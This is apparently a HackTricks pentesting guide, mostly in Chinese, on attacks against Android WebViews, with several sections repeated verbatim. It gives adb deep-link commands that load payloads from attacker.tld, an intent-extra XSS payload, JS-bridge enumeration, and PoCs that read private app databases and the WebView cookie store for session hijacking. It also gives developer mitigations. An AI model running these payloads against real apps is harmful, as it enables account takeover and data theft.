Webview Attacks
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
WebView 配置与安全指南
WebView 漏洞概述
在 Android 开发中,正确处理 WebViews 是一个关键方面。本指南重点介绍关键配置和安全实践,以降低与 WebView 使用相关的风险。
.png)
File Access in WebViews
默认情况下,WebViews 允许访问文件。此功能由 setAllowFileAccess() 方法控制,自 Android API level 3 (Cupcake 1.5) 起可用。具有 android.permission.READ_EXTERNAL_STORAGE 权限的应用可以使用 file URL scheme (file://path/to/file) 从外部存储读取文件。
Deprecated Features: Universal and File Access From URLs
- Universal Access From File URLs:此已弃用功能允许来自 file URLs 的跨源请求,由于可能的 XSS 攻击而构成严重安全风险。对于以 Android Jelly Bean 及更高版本为目标的应用,默认设置为禁用(
false)。 - 要检查此设置,请使用 getAllowUniversalAccessFromFileURLs()。
- 要修改此设置,请使用 setAllowUniversalAccessFromFileURLs(boolean)。
- File Access From File URLs:此功能同样已弃用,用于控制从其他 file scheme URLs 访问内容。与 universal access 类似,为增强安全性其默认也被禁用。
- 使用 getAllowFileAccessFromFileURLs() 检查,使用 setAllowFileAccessFromFileURLs(boolean) 设置。
Secure File Loading
如果希望禁用文件系统访问但仍能访问 assets 和 resources,可使用 setAllowFileAccess() 方法。在 Android R 及更高版本中,默认设置为 false。
- 使用 getAllowFileAccess() 检查。
- 使用 setAllowFileAccess(boolean) 启用或禁用。
WebViewAssetLoader
WebViewAssetLoader 类是加载本地文件的现代方法。它使用 http(s) URLs 来访问本地 assets 和 resources,符合 Same-Origin policy,从而便于 CORS 管理。
loadUrl
这是一个常用于在 WebView 中加载任意 URL 的函数:
webview.loadUrl("<url here>")
当然,潜在的攻击者绝不应该能够控制应用将要加载的 URL。
JavaScript 和 Intent Scheme 处理
- JavaScript:在 WebViews 中默认被禁用,可通过
setJavaScriptEnabled()启用。启用 JavaScript 前需谨慎,因为在没有适当防护的情况下启用可能引入安全漏洞。 - Intent Scheme:WebViews 能处理
intentscheme,如果未谨慎管理可能导致被利用。一个示例漏洞涉及暴露的 WebView 参数 “support_url”,可被利用来执行 cross-site scripting (XSS) 攻击。
.png)
使用 adb 的利用示例:
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"
Javascript Bridge
Android 提供了一个特性,使 WebView 中的 JavaScript 能够调用 本地 Android 应用功能。这是通过使用 addJavascriptInterface 方法实现的,该方法将 JavaScript 与本地 Android 功能集成,称为 WebView JavaScript bridge。需要注意的是,该方法允许 WebView 内的所有页面访问已注册的 JavaScript Interface 对象,如果这些接口暴露敏感信息,会带来安全风险。
- 针对 Android 4.2 以下版本的应用需要极度小心,因为存在一个漏洞,恶意 JavaScript 可利用反射导致远程代码执行。
Implementing a JavaScript Bridge
- JavaScript interfaces 可以与本地代码交互,如下面示例中将类的方法暴露给 JavaScript 所示:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
- JavaScript Bridge 通过向 WebView 添加一个 interface 来启用:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
- 通过 JavaScript(例如通过 XSS 攻击)可能被利用,从而调用暴露的 Java 方法:
<script>
alert(javascriptBridge.getSecret())
</script>
- 为降低风险,将 JavaScript bridge 的使用限制在随 APK 一起发布的代码中,并防止从远程来源加载 JavaScript。对于较旧的设备,将最低 API level 设置为 17。
Reflection-based Remote Code Execution (RCE)
- 文档中描述的方法可以通过反射执行特定 payload 来实现 RCE。然而,
@JavascriptInterface注解阻止未经授权的方法访问,从而限制了攻击面。
Remote Debugging
- Remote debugging 可以使用 Chrome Developer Tools 实现,从而在 WebView 内容中进行交互并执行任意 JavaScript。
Enabling Remote Debugging
- 可以通过以下方式为应用中所有 WebViews 启用 Remote debugging:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
- 有条件地根据应用的 debuggable state 启用 debugging:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
外泄任意文件
- 演示如何使用 XMLHttpRequest 将任意文件外泄:
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)
WebView 攻击
WebView 配置和安全指南
WebView 漏洞概述
在 Android 开发中,正确处理 WebView 是一个关键环节。本指南强调了与 WebView 使用相关的主要配置和安全实践,以降低风险。
.png)
WebView 中的文件访问
默认情况下,WebView 允许文件访问。此功能由 setAllowFileAccess() 方法控制,自 Android API level 3 (Cupcake 1.5) 起可用。具有 android.permission.READ_EXTERNAL_STORAGE 权限的应用可以使用 file URL scheme (file://path/to/file) 从外部存储读取文件。
已弃用的功能:来自 URL 的通用和文件访问
- Universal Access From File URLs:该已弃用功能允许来自 file URL 的跨源请求,由于可能导致 XSS 攻击而存在重大安全风险。对于以 Android Jelly Bean 及更高版本为目标的应用,默认设置为禁用(
false)。 - 要检查此设置,请使用
getAllowUniversalAccessFromFileURLs()。 - 要修改此设置,请使用
setAllowUniversalAccessFromFileURLs(boolean)。 - File Access From File URLs:该功能同样已弃用,用于控制对其他 file scheme URL 内容的访问。与通用访问类似,为增强安全性其默认被禁用。
- 使用
getAllowFileAccessFromFileURLs()来检查,使用setAllowFileAccessFromFileURLs(boolean)来设置。
安全的文件加载
如果希望禁用文件系统访问,同时仍能访问 assets 和 resources,可使用 setAllowFileAccess() 方法。在 Android R 及以上版本,默认设置为 false。
- 使用
getAllowFileAccess()检查。 - 使用
setAllowFileAccess(boolean)启用或禁用。
WebViewAssetLoader
WebViewAssetLoader 类是加载本地文件的现代方法。它使用 http(s) URL 访问本地 assets 和 resources,符合 Same-Origin 策略,从而便于 CORS 管理。
loadUrl
This is a common function used to load arbitrary URLs in a webview:
webview.loadUrl("<url here>")
当然,潜在的攻击者绝不应该能够控制应用将要加载的 URL。
深度链接到内部 WebView (custom scheme → WebView sink)
许多应用会注册自定义 scheme/路径,将用户提供的 URL 路由到应用内的 WebView。如果该 deep link 被导出(VIEW + BROWSABLE),攻击者可以强制应用在其 WebView 上下文中渲染任意远程内容。
典型的 manifest 模式(简化):
<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myscheme" android:host="com.example.app" />
</intent-filter>
</activity>
常见代码流程(简化):
// Entry activity
@Override
protected void onNewIntent(Intent intent) {
Uri deeplink = intent.getData();
String url = deeplink.getQueryParameter("url"); // attacker-controlled
if (deeplink.getPathSegments().get(0).equals("web")) {
Intent i = new Intent(this, WebActivity.class);
i.putExtra("url", url);
startActivity(i);
}
}
// WebActivity sink
webView.loadUrl(getIntent().getStringExtra("url"));
攻击模式和 PoC(通过 adb):
# Template – force load in internal WebView
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
# If a specific Activity must be targeted
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
Impact: 远程页面在应用的 WebView 上下文中运行(应用 WebView 配置文件的 cookies/session,可访问任何暴露的 @JavascriptInterface,根据设置可能访问 content:// 和 file://)。
Hunting tips:
- 在反编译的源码中 grep 查找
getQueryParameter("url")、loadUrl(、WebViewsinks,以及深度链接处理器 (onCreate/onNewIntent)。 - 检查 manifest 中的 VIEW+BROWSABLE 过滤器以及映射到随后启动 WebView 的 activities 的自定义 schemes/hosts。
- 检查是否存在多个深度链接路径(例如 “external browser” 路径 vs. “internal webview” 路径),优先选择在应用内渲染的那个。
在验证之前启用 JavaScript(检查顺序漏洞)
一个常见的加固错误是在对目标 URL 完成最终 allowlist/验证之前启用 JavaScript 或配置宽松的 WebView 设置。如果验证在不同辅助方法间不一致或发生得太晚,攻击者的深度链接可能会达到以下状态:
- WebView 设置生效(例如
setJavaScriptEnabled(true)),并且 - 不受信任的 URL 在启用 JavaScript 的情况下被加载。
漏洞模式(伪代码):
// 1) Parse/early checks
Uri u = parse(intent);
if (!looksValid(u)) return;
// 2) Configure WebView BEFORE final checks
webView.getSettings().setJavaScriptEnabled(true); // BAD: too early
configureMixedContent();
// 3) Do final verification (late)
if (!finalAllowlist(u)) return; // too late – JS already enabled
// 4) Load
webView.loadUrl(u.toString());
为什么可利用
- 归一化不一致:辅助方法对 URL 的拆分/重建方式与最终检查不同,产生恶意 URL 可利用的不匹配。
- 流水线顺序错误:在步骤 2 启用 JS 会对整个 WebView 实例全局生效,影响最终加载,即便之后的验证会失败。
如何测试
- 构造能够通过早期检查并到达 WebView 配置位置的 deep-link payloads。
- 使用 adb 触发隐式 VIEW intents,传递由你控制的
url=参数:
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
如果 exploitation 成功,你的 payload 会在应用的 WebView 中执行 JavaScript。从那里,探查是否有暴露的 bridges:
<script>
for (let k in window) {
try { if (typeof window[k] === 'object' || typeof window[k] === 'function') console.log('[JSI]', k); } catch(e){}
}
</script>
防御性指导
- 统一规范化一次;严格地针对单一可信来源(scheme/host/path/query)进行验证。
- 只有在所有 allowlist 检查通过并且即将加载受信任内容之前才调用
setJavaScriptEnabled(true)。 - 避免向不受信任的来源暴露
@JavascriptInterface;优先采用每个 origin 的限制(per-origin gating)。 - 考虑为受信任与不受信任内容使用不同的 per-WebView 实例,默认禁用 JS。
JavaScript 与 Intent Scheme 处理
- JavaScript:WebViews 默认禁用 JavaScript,可通过
setJavaScriptEnabled()启用。启用 JavaScript 前若无适当防护可能会引入安全漏洞,需谨慎。 - Intent Scheme:WebViews 可以处理
intentscheme,如果不慎管理可能会导致被利用。一个示例漏洞涉及暴露的 WebView 参数 “support_url”,可被利用执行跨站脚本 (XSS) 攻击。
.png)
Exploitation example using adb:
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"
Javascript 桥接
Android 提供了一个功能,使 WebView 中的 JavaScript 能够调用 本地 Android 应用功能。这通过使用 addJavascriptInterface 方法实现,该方法将 JavaScript 与本地 Android 功能集成,称为 WebView JavaScript bridge。需要注意的是,该方法允许 WebView 中的所有页面访问已注册的 JavaScript Interface 对象,如果通过这些接口暴露了敏感信息,将构成安全风险。
- 针对 Android 4.2 以下版本的应用需要极度小心,因为存在一个漏洞,允许通过恶意 JavaScript 利用反射执行远程代码。
实现 JavaScript 桥接
- JavaScript interfaces 可以与本地代码交互,如下例所示,类方法被暴露给 JavaScript:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
- JavaScript Bridge 是通过向 WebView 添加一个接口来启用的:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
- 通过 JavaScript(例如通过 XSS attack)可能被利用,以调用暴露的 Java methods:
<script>
alert(javascriptBridge.getSecret())
</script>
- 为降低风险,将 JavaScript bridge 的使用限制在随 APK 一起发布的代码中,并阻止从远程来源加载 JavaScript。对于较旧设备,将最小 API level 设置为 17。
滥用 dispatcher-style JS bridges (invokeMethod/handlerName)
常见模式是一个单一导出的方法(例如,@JavascriptInterface void invokeMethod(String json)),它将攻击者控制的 JSON 反序列化为通用对象,并根据提供的 handler name 进行分发。典型的 JSON 结构:
{
"handlerName": "toBase64",
"callbackId": "cb_12345",
"asyncExecute": "true",
"data": { /* handler-specific fields */ }
}
风险:如果任何已注册的 handler 对攻击者提供的数据执行特权操作(例如直接读取文件),你可以通过相应设置 handlerName 来调用它。结果通常通过 evaluateJavascript 和以 callbackId 为键的 callback/promise 机制发布回页面上下文。
Key hunting steps
- 反编译并 grep 查找
addJavascriptInterface(以确定桥接对象名(例如xbridge)。 - 在 Chrome DevTools (chrome://inspect) 中,在 Console 输入桥接对象名(例如
xbridge)以枚举暴露的字段/方法;查找类似invokeMethod的通用调度器。 - 通过搜索实现
getModuleName()的类或注册映射来枚举 handlers。
通过 URI 的任意文件读取 → File sinks(Base64 exfiltration)
如果某个 handler 接受 URI,调用 Uri.parse(req.getUri()).getPath(),再构造 new File(...) 并在没有白名单或沙箱检查的情况下读取它,那么你将在应用沙箱获得任意文件读取,这会绕过像 setAllowFileAccess(false) 这样的 WebView 设置(读取发生在原生代码中,而非通过 WebView 的网络栈)。
PoC to exfiltrate the Chromium WebView cookie DB (session hijack):
// Minimal callback sink so native can deliver the response
window.WebViewJavascriptBridge = {
_handleMessageFromObjC: function (data) { console.log(data) }
};
const payload = JSON.stringify({
handlerName: 'toBase64',
callbackId: 'cb_' + Date.now(),
data: { uri: 'file:///data/data/<pkg>/app_webview/Default/Cookies' }
});
xbridge.invokeMethod(payload);
注意
- Cookie DB paths vary across devices/providers. Common ones:
file:///data/data/<pkg>/app_webview/Default/Cookiesfile:///data/data/<pkg>/app_webview_<pkg>/Default/Cookies- 该 handler 返回 Base64;解码以恢复 cookies 并在应用的 WebView 配置文件中冒充用户。
检测提示
- 使用应用时,注意通过
evaluateJavascript返回的大量 Base64 字符串。 - 在反编译的源码中 grep 寻找接受
uri/path并将其转换为new File(...)的 handlers。
绕过 WebView 权限判定 – endsWith() host checks
权限决定(选择一个 JSB-enabled Activity)通常依赖主机 allowlists。一个有缺陷的模式是:
String host = Uri.parse(url).getHost();
boolean z = true;
if (!host.endsWith(".trusted.com")) {
if (!".trusted.com".endsWith(host)) {
z = false;
}
}
// z==true → open privileged WebView
等价逻辑(德摩根定律):
boolean z = host.endsWith(".trusted.com") ||
".trusted.com".endsWith(host);
这不是一个 origin 校验。许多意外的主机会满足第二个子句,从而允许不受信任的域名进入具有特权的 Activity。始终针对严格的 allowlist 验证 scheme 和 host(精确匹配或使用点边界的正确子域检查),不要使用 endsWith 的技巧。
javascript:// 执行原语(通过 loadUrl)
一旦进入特权 WebView,应用有时通过以下方式执行内联 JS:
webView.loadUrl("javascript:" + jsPayload);
If an internal flow triggers loadUrl("javascript:...") in that context, injected JS executes with bridge access even if the external page wouldn’t normally be allowed. Pentest steps:
- 在应用中 grep 搜索
loadUrl("javascript:和evaluateJavascript(。 - 尝试在强制导航到特权 WebView 后触达这些代码路径(例如,通过一个 permissive deep link chooser)。
- 使用该原语调用分发器(
xbridge.invokeMethod(...))并访问敏感处理器。
Mitigations (developer checklist)
- 对特权 Activities 进行严格的 origin 验证:对 scheme/host 进行规范化并与显式的 allowlist 比较;避免基于
endsWith的检查。适用时考虑使用 Digital Asset Links。 - 将 bridges 限定到仅受信任的页面,并在每次调用时重新检查信任(per-call authorization)。
- 移除或严格防护具备文件系统访问能力的处理器;相比原始的
file://路径,更倾向于使用带有 allowlists/permissions 的content://。 - 避免在特权上下文中使用
loadUrl("javascript:"),或将其置于严格检查之后。 - 记住
setAllowFileAccess(false)无法防护通过 bridge 进行的本地文件读取。
JSB enumeration and debugging tips
- Enable WebView remote debugging to use Chrome DevTools Console:
- 应用端(debug builds):
WebView.setWebContentsDebuggingEnabled(true) - 系统端:像 LSPosed 或 Frida 脚本这样的模块可以在 release 构建中强制启用调试。针对 Cordova WebViews 的示例 Frida 代码片段: cordova enable webview debugging
- 在 DevTools 中,输入 bridge 对象名(例如
xbridge)以查看暴露的成员并探测分发器。
Reflection-based Remote Code Execution (RCE)
- 有一种有文档的方法允许通过反射执行特定 payload 来实现 RCE。然而,
@JavascriptInterface注解阻止未授权的方法访问,从而限制了攻击面。
Remote Debugging
- Remote debugging 可以通过 Chrome Developer Tools 实现,允许在 WebView 内容中进行交互并执行任意 JavaScript。
Enabling Remote Debugging
- 可通过以下方式为应用内的所有 WebViews 启用远程调试:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
- 有条件地根据应用的 debuggable 状态启用 debugging:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
外泄任意文件
- 演示使用 XMLHttpRequest 外泄任意文件:
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)
WebView XSS via Intent extras → loadData()
一个常见的漏洞是从传入的 Intent extra 读取由攻击者控制的数据,并在启用 JavaScript 的情况下通过 loadData() 将其直接注入到 WebView。
易受攻击的模式(exported Activity 读取 extra 并将其呈现为 HTML):
String data = getIntent().getStringExtra("data");
if (data == null) { data = "Guest"; }
WebView webView = findViewById(R.id.webview);
webView.getSettings().setJavaScriptEnabled(true);
webView.setWebChromeClient(new WebChromeClient());
String userInput = "\n\n# Welcome\n\n" + "\n\n" + data + "\n\n";
webView.loadData(userInput, "text/html", "UTF-8");
如果该 Activity 是 exported(或可通过已导出的 proxy 访问),恶意应用可以在 data extra 中提供 HTML/JS,从而实现 reflected XSS:
# Replace package/component with the vulnerable Activity
adb shell am start -n com.victim/.ExportedWebViewActivity --es data '<img src=x onerror="alert(1)">'
影响
- 应用内 WebView 上下文中的任意 JS:列举/使用
@JavascriptInterface桥,访问 WebView cookies/local storage,根据设置转向 file:// 或 content://。
缓解措施
- 将所有来自 Intent 的输入视为不可信。对 HTML 进行转义(
Html.escapeHtml)或拒绝;优先将不可信文本作为纯文本渲染,而非 HTML。 - 除非确有必要,否则保持 JavaScript 禁用;不要为不可信内容启用
WebChromeClient。 - 如果必须渲染模板化 HTML,使用
loadDataWithBaseURL()并指定安全的 base 和 CSP;将受信任与不受信任的 WebViews 分离。 - 避免将 Activity 对外暴露,或在不需要时用权限保护它。
相关
- 参见有关基于 Intent 的原语和重定向: Intent Injection
参考资料
- Review of Android WebViews file access attack vectors
- WheresMyBrowser.Android (demo app)
- Android WebView reference
- Deep Links & WebViews Exploitations – Part II
- Deep Links & WebViews Exploitations – Part I
- Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough
- Pwn2Own Ireland 2024 – Samsung S24 attack chain (whitepaper)
- Demonstration video
- Android Intents (1/2): how they work, security, and attack examples – Mobeta
- Account takeover in Android app via JSB – tuxplorer.com
- LSPosed – systemless Xposed framework
- Frida codeshare: Cordova – enable WebView debugging
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
HackTricks

